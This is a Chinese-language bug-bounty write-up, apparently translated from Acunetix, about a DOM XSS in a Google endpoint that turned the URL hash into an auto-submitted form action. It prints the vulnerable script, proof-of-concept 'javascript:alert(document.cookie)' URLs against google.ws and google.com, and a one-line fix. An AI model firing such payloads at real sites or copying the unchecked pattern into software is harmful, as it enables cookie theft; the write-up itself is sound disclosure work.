看我如何使用AWVS找到Google一个价值$5000的xss漏洞

看我如何使用AWVS找到Google一个价值$5000的xss漏洞

前言

你一定是一个非常懒的白帽,甚至都不愿意去尝试在Google中去寻找漏洞。但幸运的是我和我的朋友都不算是懒惰的人,除此之外我们也算得上是拥有了一定的好运加成。最近我们使用了一款非常好的扫描工具,我们借助它发现了Google Cloud中的一个XSS漏洞,具体是怎么样发生的呢?

一、使用扫描程序进行漏洞发现

作为研究的一部分,我们会定期使用各种不同的扫描工具(其中也包括了AWVS)扫描各种Google的服务,我们有一些非常长的计划和目标。在2019年12月进行目标常规扫描时AWVS为我们报告了以下关于XSS的Payload:

https://google.ws/ajax/pi/fbfr?wvstest=javascript:domxssExecutionSink(1,%22%27%5C%22%3E%3Cxsstag%3E()locxss%22)

扫描器提供的报告很多时候会被证明是误报,所以我们并不会每次都针对这些报告做出验证。但是,这可是Google啊。所以毫无疑问这是一个值得我们深入研究一下的点。

二、针对HTTP响应进行分析

第一步就是仔细地检查一下HTTP响应,以下是响应的部分内容:

HTTP/1.1 200 OK
...
<!doctype html><div style="display:none"> <form method="post"> </form> <script nonce="+ao+4Egc+7YExl3qyyWMJg==">(function(){var a=window.document.forms[0],b=location.hash.substr(1);b||window.close();var c=b.split("&"),d=decodeURIComponent(c[0]);a.action=d;for(var e=1;e<c.length;e++){var f=c[e].split("="),g=document.createElement("input");g.type="hidden";g.name=f[0];g.value=decodeURIComponent(f[1]);a.appendChild(g)}a.submit();}).call(this);</script> </div>

可以看到此响应包含了一个空form 和一些 Javascript 代码。为了让大家可以看的更明白一点,我们对其中的 JS 代码进行了一些格式调整让他变得更具有可读性:

(function() {
    var a = window.document.forms[0],
        b = location.hash.substr(1);
    b || window.close();
    var c = b.split("&"),
        d = decodeURIComponent(c[0]);
    a.action = d;
    for (var e = 1; e < c.length; e++) {
        var f = c[e].split("="),
            g = document.createElement("input");
        g.type = "hidden";
        g.name = f[0];
        g.value = decodeURIComponent(f[1]);
        a.appendChild(g)
    }
    a.submit();
}).call(this);

接下来,我们逐一理解下这段JS代码,我将他的工作原理以注释的形式标注在了代码中。

(function() {
// 定义一个要自动执行的函数
}).call(this);
(function() {
  // 将变量"a"指向一个当前未提交的表单
    var a = window.document.forms[0],
    // 变量b是url中哈希值去掉#的字符串
        b = location.hash.substr(1);
  // 如果没有b(url中没有哈希值),则会关闭窗口
    b || window.close();
  // 通过 & 符号拆分哈希值的字符串
    var c = b.split("&"),
    // 解码C数组的第一个元素
        d = decodeURIComponent(c[0]);
  // 哈希值内容成为表单的操作
    a.action = d;
// 在这个漏洞的发生过程中,以下这段代码并没有产生多大作用
    for (var e = 1; e < c.length; e++) {
        var f = c[e].split("="),
            g = document.createElement("input");
        g.type = "hidden";
        g.name = f[0];
        g.value = decodeURIComponent(f[1]);
        a.appendChild(g)
    }
  // 表单自动提交
    a.submit();
}).call(this);

三、测试payload

正确理解了上面的JS函数工作原理之后,接下来我们需要的就是一个适当的Payload。我给出了以下Payload:

https://google.ws/ajax/pi/fbfr#javascript:alert(document.cookie)

得到了以下效果,弹出了cookie:

到这一步,我们决定继续深入研究下去,看看这个漏洞是否还会影响其他的Google域名:

https://google.com/ajax/pi/fbfr#javascript:alert(document.cookie)

我们将域名从google.ws修改为google.com发现依然被执行了,且弹出了一长串cookie:

四:修复漏洞

修复此漏洞其实非常简单,Google不需要为此付出多大的努力,只需要简单的修改一行代码即可:

(function() {
    var a = window.document.forms[0],
        b = location.hash.substr(1);
    b || window.close();
    var c = b.split("&"),
        d = decodeURIComponent(c[0]);
  // Only the below line needed to be changed 
  // to check if the location hash begins with http:
    0 != d.indexOf("http") && window.close();
    a.action = d;
    for (var e = 1; e < c.length; e++) {
        var f = c[e].split("="),
            g = document.createElement("input");
        g.type = "hidden";
        g.name = f[0];
        g.value = decodeURIComponent(f[1]);
        a.appendChild(g)
    }
    a.submit();
}).call(this);


原文链接:acunetix.com/blog/web-s

今天的内容就分享到这里,希望对你有所帮助。最近二向箔安全推出了漏洞挖掘实战班,小白入门到挖洞大佬,如果你也想学习漏洞挖掘并获得一定的报酬奖励,现在马上扫码上车。

编辑于 05-09

文章被以下专栏收录